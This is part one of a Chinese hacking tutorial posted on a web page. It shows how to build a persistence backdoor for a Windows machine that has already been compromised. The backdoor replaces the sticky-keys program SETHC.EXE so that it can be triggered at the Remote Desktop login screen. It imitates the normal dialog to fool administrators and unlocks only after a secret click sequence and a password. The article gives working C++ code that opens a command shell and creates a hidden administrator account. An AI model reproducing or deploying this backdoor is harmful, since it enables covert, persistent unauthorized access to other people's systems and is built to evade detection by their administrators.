设为首页 加入收藏

TOP

3389后门自己造(一)
2014-11-23 20:26:27 来源: 作者: 【 】 浏览:177
Tags:3389 后门 自己
文/图 天涯浪人
在攻破一台主机系统后,最重要的一件事就是安装后门,以便我们能够再次进来。当我们成功进入一台开了Windows远程登录服务的机器后,多半会留一个隐藏账号,或者是把Guest克隆为管理员,再不就是安装一个后门。但克隆账号用得太多了,现在已经不好用了,有安全意识的管理员在察觉系统可能出了问题后,都会检查系统账号的安全性。而且,现在杀毒软件和防火墙功能越来越强,后门想要不被查出来也比较难,除非是Rootkit级的后门。
前几天看到一篇介绍利用Windows粘滞键做后门的文章,原理就是续按五次Shift键,会触发粘滞键设置程序SETHC.EXE,用3389远程桌面连接器连接主机时,在未登录的情况下,也可以触发粘滞键设置程序SETHC.EXE。如果SETHC.EXE被替换为CMD.EXE或是我们的后门程序,那么就可以在目标机器上开启一个Shell或运行我们的后门了。
基于上面的考虑,加上我们对后门程序隐蔽性的要求,可以利用Windows的这个 漏洞来编写一个简单的后门程序。我们先看一下Windows XP下的这个程序。从System32下复制一个SETHC.EXE出来,直接运行,没有反应。用ResHacker查看一下,发现只有一个空对话框,显示的信息都是程序里的字串,查看字串发现SETHC.EXE可以用多种方式激活,对应多种 系统设置,像筛选键、鼠标键、切换键等,如持续按下 NUM LOCK 键5秒就可以启用ToggleKeys键设置,对应的程序也是SETHC.EXE。
这样,我们就有了写一个后门的思路,在安装时替换目标系统的SETHC.EXE,平时隐藏在系统中并不运行,这样便减少了被发现的概率;并且程序运行时,伪装成正常程序的界面,程序经过特定的操作才会露出后门的原形,输入正确的密码后,才能进入到后门的界面。先给大家看下写完的后门运行时的截图,如图1所示。

图1
程序运行时的外观和正常程序完全一样,为了使管理员打开粘滞键设置时后门不被发现,点击确定和退出时会和正常程序一样关闭窗口。当先点击设置再点击退出时,才会在窗口上出现一个输入框,输入正确的密码后点击设置就可以打开后门的设置界面了,如图2和图3所示。

图2

图3
下面我们就来编写这个小程序。由于这里只是简单的介绍这种后门的思路,所以只写了两个简单的功能,添加一个系统账号和开启一个CMDShell。大家可能想到,在Shell里用命令添加不就行了,但这里不是调用系统命令实现的,而是直接调用系统API函数实现,以防止管理员禁用了CMD.EXE而使后门不能正常工作。好了,不多说了,还是直接看代码吧。
打开VC6.0,新建一个对话框工程,按照上面的截图做好程序界面,并导入一个对话框,在建立类向导中添加CsetDialog类。为了实现程序隐蔽性,先单击设置再单击退出才会有反应,所以这里的EDIT控件用动态创建的方法实现。

//先定义三个变量
CEdit m_MyEdit; //用来动态创建EDIT控件
BOOL ID;
BOOL ID2;

设置按钮的单击响应的代码如下。
void CSethc_doorDlg::OnSet()
{
// TODO: Add your control notification handler code here
// UpdateData(true);
char pass[16];
if(ID) //单击退出时ID 赋 TRUE
{
GetDlgItem(ID_EDT)->GetWindowText(pass,16);
if(strcmp(passwd,pass)==0) //进入后门时的密码验证
{
CSetDialog Dialog;
Dialog.DoModal(); //设置对话框
}
else
{
MessageBox("密码错误!");
}
}
else
{
ID2=true; //没点击退出时ID2赋 TRUE
}
}

退出按钮的单击响应的代码如下。

//CDialog::OnCancel();
if(ID2)
{
ID =true; //动态创建EDIT控件
m_MyEdit.CreateEx(WS_EX_CLIENTEDGE, // 3D-border外观
_T("EDIT"),
NULL,
ES_AUTOHSCROLL | ES_LEFT | ES_NOHIDESEL | WS_CHILD,
CRect(280,80,350,100), this,
ID_EDT);//生成edit控件
m_MyEdit.ShowWindow(SW_SHOW); //显示控件
m_MyEdit.SetFocus(); //设置焦点
}
else
{
CDialog::OnCancel(); //没有点击过设置按钮,程序直接退出
}

最好就输入正确的密码后进入后门功能的界面了。按照图3在对话框上设置好控件的位置,要得到一个本地的CMDShell比较容易。
void CSetDialog::OnCmd()
{
// TODO: Add your control notification handler code here
WinExec("cmd.exe",SW_SHOW);
//在3389窗口创建一个CMD进程
}

添加一个管理员权限账号,实现代码如下。
void CSetDialog::OnAdduser()
{
// TODO: Add your control notification handler code here
//UpdateData(true);
USER_INFO_1 ui;
DWORD dwError = 0;

ui.usri1_name = L"tianya"; //添加的账号
ui.usri1_password = L"tianya";//添加的密码
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;

if(NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)
{
MessageBox("添加用户成功! "); //添加成功
}
else
{
MessageBox("添加用户失败! "); //添加失败
}
wchar_t szAccountName[100]={0};
wcscpy(szAccountName,L"tianya");
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=szAccountName;
//添加到Administrators组
if( NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1) == NERR_Success )
{
MessageBox("添加到管理员组成功! ");
//添加到管理员组成功
}
else
{
MessageBox("添加到管理员组失败! ");
//添加到管理员组添加失败
}
}
首页 上一页 1 2 下一页 尾页 1/2/2
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
分享到: 
上一篇在vc6.0里面如何查看汇编代码 下一篇vc2005编译出来的程序实现绿色版..

评论

帐  号: 密码: (新用户注册)
验 证 码:
表  情:
内  容: